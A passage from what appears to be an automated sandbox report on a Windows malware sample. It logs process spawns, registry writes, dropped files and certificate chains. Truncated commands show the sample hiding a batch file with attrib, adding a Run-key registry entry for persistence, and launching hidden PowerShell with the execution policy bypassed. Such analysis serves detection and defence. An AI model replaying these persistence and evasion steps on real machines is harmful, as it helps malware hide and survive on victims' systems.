USERPROFILE="C:\Users\%OSUSER%", TMP="%LOCALAPPDATA%\Temp", CommonProgramFiles(x86)="%PROGRAMFILES%\(x86)\Common Files"" Process "explorer.exe" (UID: 00000000-00005336) was launched with missing environment variables: "mostly, computername, pathext, path, piano, relate, comspec, tmp, easily, payment, drag, cookie, musical, sslkeylogfile, work, userprofile, something, programfiles, chemical, processor_level, oppose, userdomain_roamingprofile, commonprogramfiles(x86), religious, strong, processor_architecture, frequently, literary, direct, logonserver, nvm_symlink, lean, subsequent, c_b64, place, legislation, reporter, programdata, punishment, massive, blue, nvm_home, prescription, programfiles(x86), psmodulepath, onedrive, wrap, systemdrive, devote, tonight, programw6432, commonprogramfiles, homedrive, debate, psexecutionpolicypreference, homepath, sessionname, publication, processor_revision, acwm0f, educational, localappdata, curl_ca_bundle, resist, difficult, finding, number_of_processors, pause, dish, success, userdnsdomain, intervention, deer, legacy, line, processor_identifier, cause, edition, rule, systemroot, head, userdomain, yesterday, commonprogramw6432, allusersprofile, public, consumer, normal, pretty, temp, os, social, false, multiple, reading, differ, super, latter, prompt, _clrrestrictsecattributes, appdata, pocket, username" Process "msedge.exe" (UID: 00000000-00006192) was launched with modified environment variables: "Path" Process "msedge.exe" (UID: 00000000-00005228) was launched with new environment variables: "EDGE_CRASHPAD_PIPE_NAME="\\.\pipe\crashpad_6192_NPWQXFIKYQQTETLQ", EDGE_METRICS_SESSION_ID="7", COMPONENT_INSTALLER_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", EDGE_METRICS_CLIENT_ID_HASH="8213263524593659753", EDGE_BROWSER_PID="6192"" Process "msedge.exe" (UID: 00000000-00007976) was launched with missing environment variables: "EDGE_METRICS_SESSION_ID, COMPONENT_INSTALLER_DIR, EDGE_METRICS_CLIENT_ID_HASH" Process "msedge.exe" (UID: 00000000-00007960) was launched with new environment variables: "EDGE_METRICS_SESSION_ID="7", COMPONENT_INSTALLER_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", EDGE_METRICS_CLIENT_ID_HASH="8213263524593659753"" Process "msedge.exe" (UID: 00000000-00000996) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, NVM_SYMLINK, PROCESSOR_LEVEL, SSLKEYLOGFILE, USERDOMAIN, LOGONSERVER, SESSIONNAME, ALLUSERSPROFILE, PROCESSOR_ARCHITECTURE, PSModulePath, EDGE_METRICS_SESSION_ID, OneDrive, APPDATA, EDGE_USER_DATA_DIR, USERNAME, USERDNSDOMAIN, ProgramFiles(x86), CommonProgramFiles, CURL_CA_BUNDLE, PATHEXT, OS, COMPUTERNAME, NVM_HOME, PROCESSOR_REVISION, CommonProgramW6432, ComSpec, ProgramData, ProgramW6432, HOMEPATH, HOMEDRIVE, PROCESSOR_IDENTIFIER, USERPROFILE, CommonProgramFiles(x86), ProgramFiles, PUBLIC, NUMBER_OF_PROCESSORS, windir, EDGE_METRICS_CLIENT_ID_HASH" Process "msedge.exe" (UID: 00000000-00003648) was launched with new environment variables: "USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", NVM_SYMLINK="%PROGRAMFILES%\nodejs", PROCESSOR_LEVEL="6", SSLKEYLOGFILE="%TEMP%\sslkey.txt", USERDOMAIN="DESKTOP-FVVF82A", LOGONSERVER="%HOSTNAME%", SESSIONNAME="Console", ALLUSERSPROFILE="C:\ProgramData", PROCESSOR_ARCHITECTURE="AMD64", PSModulePath="%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", EDGE_METRICS_SESSION_ID="7", OneDrive="%USERPROFILE%\OneDrive", APPDATA="%USERPROFILE%\AppData\Roaming", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", USERNAME="%OSUSER%", USERDNSDOMAIN="DESKTOP-FVVF82A", ProgramFiles(x86)="%PROGRAMFILES%\(x86)", CommonProgramFiles="%PROGRAMFILES%\Common Files", CURL_CA_BUNDLE="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", PATHEXT=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", OS="Windows_NT", COMPUTERNAME="DESKTOP-FVVF82A", NVM_HOME="%APPDATA%\nvm", PROCESSOR_REVISION="4f00", CommonProgramW6432="%PROGRAMFILES%\Common Files", ComSpec="%WINDIR%\system32\cmd.exe", ProgramData="C:\ProgramData", ProgramW6432="C:\Program Files", HOMEPATH="\Users\%OSUSER%", HOMEDRIVE="C:", PROCESSOR_IDENTIFIER="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", USERPROFILE="C:\Users\%OSUSER%", CommonProgramFiles(x86)="%PROGRAMFILES%\(x86)\Common Files", ProgramFiles="C:\Program Files", PUBLIC="C:\Users\Public", NUMBER_OF_PROCESSORS="2", windir="C:\WINDOWS", EDGE_METRICS_CLIENT_ID_HASH="8213263524593659753"" Process "msedge.exe" (UID: 00000000-00007500) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, NVM_SYMLINK, PROCESSOR_LEVEL, SSLKEYLOGFILE, USERDOMAIN, LOGONSERVER, SESSIONNAME, ALLUSERSPROFILE, PROCESSOR_ARCHITECTURE, PSModulePath, EDGE_METRICS_SESSION_ID, OneDrive, APPDATA, EDGE_USER_DATA_DIR, USERNAME, USERDNSDOMAIN, ProgramFiles(x86), CommonProgramFiles, CURL_CA_BUNDLE, PATHEXT, OS, COMPUTERNAME, NVM_HOME, PROCESSOR_REVISION, CommonProgramW6432, ComSpec, ProgramData, ProgramW6432, HOMEPATH, HOMEDRIVE, PROCESSOR_IDENTIFIER, USERPROFILE, CommonProgramFiles(x86), ProgramFiles, PUBLIC, NUMBER_OF_PROCESSORS, windir, EDGE_METRICS_CLIENT_ID_HASH" Process "msedge.exe" (UID: 00000000-00000596) was launched with new environment variables: "USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", NVM_SYMLINK="%PROGRAMFILES%\nodejs", PROCESSOR_LEVEL="6", SSLKEYLOGFILE="%TEMP%\sslkey.txt", USERDOMAIN="DESKTOP-FVVF82A", LOGONSERVER="%HOSTNAME%", SESSIONNAME="Console", ALLUSERSPROFILE="C:\ProgramData", PROCESSOR_ARCHITECTURE="AMD64", PSModulePath="%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", EDGE_METRICS_SESSION_ID="7", OneDrive="%USERPROFILE%\OneDrive", APPDATA="%USERPROFILE%\AppData\Roaming", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", USERNAME="%OSUSER%", USERDNSDOMAIN="DESKTOP-FVVF82A", ProgramFiles(x86)="%PROGRAMFILES%\(x86)", CommonProgramFiles="%PROGRAMFILES%\Common Files", CURL_CA_BUNDLE="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", PATHEXT=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", OS="Windows_NT", COMPUTERNAME="DESKTOP-FVVF82A", NVM_HOME="%APPDATA%\nvm", PROCESSOR_REVISION="4f00", CommonProgramW6432="%PROGRAMFILES%\Common Files", ComSpec="%WINDIR%\system32\cmd.exe", ProgramData="C:\ProgramData", ProgramW6432="C:\Program Files", HOMEPATH="\Users\%OSUSER%", HOMEDRIVE="C:", PROCESSOR_IDENTIFIER="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", USERPROFILE="C:\Users\%OSUSER%", CommonProgramFiles(x86)="%PROGRAMFILES%\(x86)\Common Files", ProgramFiles="C:\Program Files", PUBLIC="C:\Users\Public", NUMBER_OF_PROCESSORS="2", windir="C:\WINDOWS", EDGE_METRICS_CLIENT_ID_HASH="8213263524593659753"" Process "msedge.exe" (UID: 00000000-00006284) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, NVM_SYMLINK, PROCESSOR_LEVEL, SSLKEYLOGFILE, USERDOMAIN, LOGONSERVER, SESSIONNAME, ALLUSERSPROFILE, PROCESSOR_ARCHITECTURE, PSModulePath, EDGE_METRICS_SESSION_ID, OneDrive, APPDATA, EDGE_USER_DATA_DIR, USERNAME, USERDNSDOMAIN, ProgramFiles(x86), CommonProgramFiles, CURL_CA_BUNDLE, PATHEXT, OS, COMPUTERNAME, NVM_HOME, PROCESSOR_REVISION, CommonProgramW6432, ComSpec, ProgramData, ProgramW6432, HOMEPATH, HOMEDRIVE, PROCESSOR_IDENTIFIER, USERPROFILE, CommonProgramFiles(x86), ProgramFiles, PUBLIC, NUMBER_OF_PROCESSORS, windir, EDGE_METRICS_CLIENT_ID_HASH"3e:T13d8,Observed system executable string:"C:\> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\HAPUBWS\AppData\Local\Temp\uiju15fo\uiju15fo.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\HAPUBWS\AppData\Local\Temp\uiju15fo\uiju15fo.0.cs"Microsoft (R) Visual C# Compiler version 4.8.3761.0for C# 5Copyright (C) Microsoft Corporation. All rights reserved.This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240" [Source: uiju15fo.out] Observed system executable string:"/t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\HAPUBWS\AppData\Local\Temp\uiju15fo\uiju15fo.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\HAPUBWS\AppData\Local\Temp\uiju15fo\uiju15fo.0.cs"" [Source: uiju15fo.cmdline] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00001332-00000C2E-991903394] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00001332-00000C2B-1561035880] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00001332-00000C2B-1561146712] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00001332-00000C2B-1561277286] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00001332-00000C2B-1561423131] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00001332-00000C2B-1561503420] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00001332-00000C2B-1561583351] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00001332-00000C2B-1561638786] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00001332-00000C2B-1561709366] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00001332-00000C2B-1561752404] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00001332-00000C2B-1561845973] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00001332-00000C2B-1562057635] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00001332-00000C2B-1562161245] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00001332-00000C2B-1562438073] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00001332-00000C2B-1562440007] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00001332-00000C2B-1562846555] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00001332-00000C2B-1562937888] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00001332-00000C2B-1562969023] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00001332-00000C2B-1563089190] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00001332-00000C2B-1563143141] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00001332-00000C2B-1563351858] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll" [Source: 00000000-00001332-00000C2B-1563357300] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00001332-00000C2B-1563547086]3f:Td29,Spawned process "cmd.exe" with commandline "/K "C:\\6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77b ..." (UID: 00000000-00001120), Spawned process "attrib.exe" with commandline "attrib +h +s "%APPDATA%\\Microsoft\\Windows\\Templates\\CABIN.b ..." (UID: 00000000-00005900) Spawned process "reg.exe" with commandline "reg add "HKCU\\Software\\Classes\\CLSID\\{5C20ADD8-97A3-CC89-E5 ..." (UID: 00000000-00000696), Spawned process "reg.exe" with commandline "reg add "HKCU\\Software\\Classes\\CLSID\\{5C20ADD8-97A3-CC89-E5 ..." (UID: 00000000-00006912) Spawned process "reg.exe" with commandline "reg add "HKCU\\Software\\Classes\\CLSID\\{5C20ADD8-97A3-CC89-E5 ..." (UID: 00000000-00002560), Spawned process "reg.exe" with commandline "reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Ru ..." (UID: 00000000-00007332) Spawned process "powershell.exe" with commandline "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NonInte ..." (UID: 00000000-00001332) Spawned process "powershell.exe" with commandline "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NonInte ..." (UID: 00000000-00001612) Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\uiju15fo\\uiju15fo.cmdline"" (UID: 00000000-00000604) Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES52B1.tmp" "%TEM ..." (UID: 00000000-00003988), Spawned process "msedge.exe" with commandline "--profile-directory=Default" (UID: 00000000-00006192), Spawned process "msedge.exe" with commandline "--type=gpu-process --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAA ..." (UID: 00000000-00005228), Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00007976) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService - ..." (UID: 00000000-00007960) Spawned process "msedge.exe" with commandline "--type=renderer --pdf-upsell-enabled --video-capture-use-gpu-mem ..." (UID: 00000000-00000996) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00003980) Spawned process "msedge.exe" with commandline "--type=renderer --instant-process --pdf-upsell-enabled --video-c ..." (UID: 00000000-00001136) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=asset_store.mojom.AssetStoreSe ..." (UID: 00000000-00007848) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=entity_extraction_service.mojo ..." (UID: 00000000-00000196) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en ..." (UID: 00000000-00003648) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en ..." (UID: 00000000-00007500) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=PooledProcess2 --lang=en-US -- ..." (UID: 00000000-00000596) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=edge_search_indexer.mojom.Sear ..." (UID: 00000000-00001124) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en ..." (UID: 00000000-00006284)40:Td29,Spawned process "cmd.exe" with commandline "/K "C:\\6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77b ..." (UID: 00000000-00001120), Spawned process "attrib.exe" with commandline "attrib +h +s "%APPDATA%\\Microsoft\\Windows\\Templates\\CABIN.b ..." (UID: 00000000-00005900) Spawned process "reg.exe" with commandline "reg add "HKCU\\Software\\Classes\\CLSID\\{5C20ADD8-97A3-CC89-E5 ..." (UID: 00000000-00000696), Spawned process "reg.exe" with commandline "reg add "HKCU\\Software\\Classes\\CLSID\\{5C20ADD8-97A3-CC89-E5 ..." (UID: 00000000-00006912) Spawned process "reg.exe" with commandline "reg add "HKCU\\Software\\Classes\\CLSID\\{5C20ADD8-97A3-CC89-E5 ..." (UID: 00000000-00002560), Spawned process "reg.exe" with commandline "reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Ru ..." (UID: 00000000-00007332) Spawned process "powershell.exe" with commandline "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NonInte ..." (UID: 00000000-00001332) Spawned process "powershell.exe" with commandline "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NonInte ..." (UID: 00000000-00001612) Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\uiju15fo\\uiju15fo.cmdline"" (UID: 00000000-00000604) Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES52B1.tmp" "%TEM ..." (UID: 00000000-00003988), Spawned process "msedge.exe" with commandline "--profile-directory=Default" (UID: 00000000-00006192), Spawned process "msedge.exe" with commandline "--type=gpu-process --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAA ..." (UID: 00000000-00005228), Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00007976) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService - ..." (UID: 00000000-00007960) Spawned process "msedge.exe" with commandline "--type=renderer --pdf-upsell-enabled --video-capture-use-gpu-mem ..." (UID: 00000000-00000996) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00003980) Spawned process "msedge.exe" with commandline "--type=renderer --instant-process --pdf-upsell-enabled --video-c ..." (UID: 00000000-00001136) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=asset_store.mojom.AssetStoreSe ..." (UID: 00000000-00007848) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=entity_extraction_service.mojo ..." (UID: 00000000-00000196) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en ..." (UID: 00000000-00003648) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en ..." (UID: 00000000-00007500) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=PooledProcess2 --lang=en-US -- ..." (UID: 00000000-00000596) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=edge_search_indexer.mojom.Sear ..." (UID: 00000000-00001124) Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en ..." (UID: 00000000-00006284)41:T1474,The input sample is signed with a certificate issued by "CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: EC:27:13:72:1E:6C:94:9F:47:59:A4:24:4F:AB:9B:02:E3:6E:54:41; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 27:AC:93:69:FA:F2:52:07:BB:26:27:CE:FA:CC:BE:4E:F9:C3:19:B8; see report for more information) The input sample is signed with a certificate issued by "CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 47:BE:AB:C9:22:EA:E8:0E:78:78:34:62:A7:9F:45:C2:54:FD:E6:8B; see report for more information) The input sample is signed with a certificate issued by "CN=WR2, O=Google Trust Services, C=US" (SHA1: 65:DE:BF:81:62:CE:90:47:14:E9:61:43:8D:95:D4:22:C1:F3:5A:FB; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R1, O=Google Trust Services LLC, C=US" (SHA1: 66:E4:16:12:60:B1:00:FE:E0:DE:28:7A:9A:52:93:B4:C2:22:4A:E6; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 08:74:54:87:E8:91:C1:9E:30:78:C1:F2:A0:7E:45:29:50:EF:36:F6; see report for more information) The input sample is signed with a certificate issued by "CN=Microsoft Azure ECC TLS Issuing CA 07, O=Microsoft Corporation, C=US" (SHA1: 94:1C:F5:56:FF:28:F3:FB:62:03:98:CE:BB:00:7B:F6:19:62:81:DC; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root G3, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: 3B:E6:CA:58:56:E3:B9:70:90:56:DA:51:F3:2C:BC:89:70:A8:3E:28; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root G3, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: 7E:04:DE:89:6A:3E:66:6D:00:E6:87:D3:3F:FA:D9:3B:E8:3D:34:9E; see report for more information) The input sample is signed with a certificate issued by "CN=GeoTrust TLS ECC CA G1, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: C6:A7:9F:4F:A3:32:C1:3F:51:DB:C6:1F:5D:2B:37:2F:71:ED:6B:69; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root G3, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: BF:E7:BA:21:A2:FA:56:71:9B:61:F6:4E:E1:B2:69:D0:B8:0B:44:E5; see report for more information) The input sample is signed with a certificate issued by "CN=R12, O=Let's Encrypt, C=US" (SHA1: C6:1E:68:2C:00:70:E5:76:C7:8D:07:50:10:B7:77:FB:4D:0B:CE:6E; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: EE:44:78:28:35:D8:FB:31:39:4D:A5:CE:B8:40:DC:93:84:9B:CF:5A; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global G2 TLS RSA SHA256 2020 CA1, O=DigiCert Inc, C=US" (SHA1: 9B:11:B0:70:AE:60:F2:0E:B2:4D:34:65:C9:F8:5D:33:2F:37:89:2F; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: 1B:51:1A:BE:AD:59:C6:CE:20:70:77:C0:BF:0E:00:43:B1:38:26:12; see report for more information) The input sample is signed with a certificate issued by "CN=Microsoft TLS G2 RSA CA OCSP 04, O=Microsoft Corporation, C=US" (SHA1: 08:63:6F:87:96:38:B7:D5:CF:DA:6B:80:0A:72:98:FB:63:01:E7:77; see report for more information) The input sample is signed with a certificate issued by "CN=Microsoft TLS RSA Root G2, O=Microsoft Corporation, C=US" (SHA1: DA:6D:04:00:64:1B:45:AE:CC:59:5D:24:E5:03:7A:A6:BC:09:C3:58; see report for more information) The input sample is signed with a certificate issued by "CN=DigiCert Global Root G2, OU=www.digicert.com, O=DigiCert Inc, C=US" (SHA1: B5:EE:89:E7:73:26:AB:2B:F1:77:5B:D9:9C:19:A2:89:47:FF:81:84; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: EE:B6:DB:C4:31:72:08:57:B9:E2:AC:B5:70:6C:98:1E:2C:71:76:BD; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo Public Server Authentication CA DV R36, O=Sectigo Limited, C=GB" (SHA1: 48:62:BA:29:DB:48:52:50:EC:DE:95:62:15:70:58:A6:E2:13:BC:AE; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo Public Server Authentication Root R46, O=Sectigo Limited, C=GB" (SHA1: DD:55:B4:52:02:91:E2:76:58:8F:0D:D0:2F:AF:D8:3A:73:68:E0:FA; see report for more information)42:T790,Found string "Add-Content" (Indicator: "Add-Content"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Import-Alias" (Indicator: "Import-Alias"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Import-Csv" (Indicator: "Import-Csv"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "New-Alias" (Indicator: "New-Alias"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "New-PSDrive" (Indicator: "New-PSDrive"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "New-Variable" (Indicator: "New-Variable"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "New-Module" (Indicator: "New-Module"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Add-PSSnapIn" (Indicator: "Add-PSSnapIn"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Add-History" (Indicator: "Add-History"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "New-ModuleManifest" (Indicator: "New-ModuleManifest"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "New-PSRoleCapabilityFile" (Indicator: "New-PSRoleCapabilityFile"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "New-PSTransportOption" (Indicator: "New-PSTransportOption"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Register-ArgumentCompleter" (Indicator: "Register-ArgumentCompleter"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Add-PSSnapin" (Indicator: "Add-PSSnapIn"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "function New-Guid" (Indicator: "New-Guid"; Source: "00000000-00001332.00000000.168324.66FF0000.00000004.mdmp")43:T515,"CABIN.bat" has type "DOS batch file ASCII text with very long lines (3707) with CRLF line terminators"- Location: [%APPDATA%\Microsoft\Windows\Templates\CABIN.bat]- [targetUID: 00000000-00001120] "SHARP.ps1" has type "Unicode text UTF-8 (with BOM) text with very long lines (64734)"- Location: [%TEMP%\SHARP.ps1]- [targetUID: 00000000-00001612] "corner.tmp" has type "ASCII text with very long lines (3657) with CRLF line terminators"- Location: [%TEMP%\corner.tmp]- [targetUID: 00000000-00001120] "uiju15fo.out" has type "Unicode text UTF-8 (with BOM) text with very long lines (433) with CRLF CR line terminators"- Location: [%TEMP%\uiju15fo\uiju15fo.out]- [targetUID: 00000000-00001612] "uiju15fo.0.cs" has type "Unicode text UTF-8 (with BOM) text"- Location: [%TEMP%\uiju15fo\uiju15fo.0.cs]- [targetUID: 00000000-00001612] "uiju15fo.cmdline" has type "Unicode text UTF-8 (with BOM) text with very long lines (370) with no line terminators"- Location: [%TEMP%\uiju15fo\uiju15fo.cmdline]- [targetUID: 00000000-00001612] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00001612] "CABIN.bat%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A]44:T71d,"cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CONHOST.EXE"; Key: ""; Value: "") "cmd.exe" (Access type: 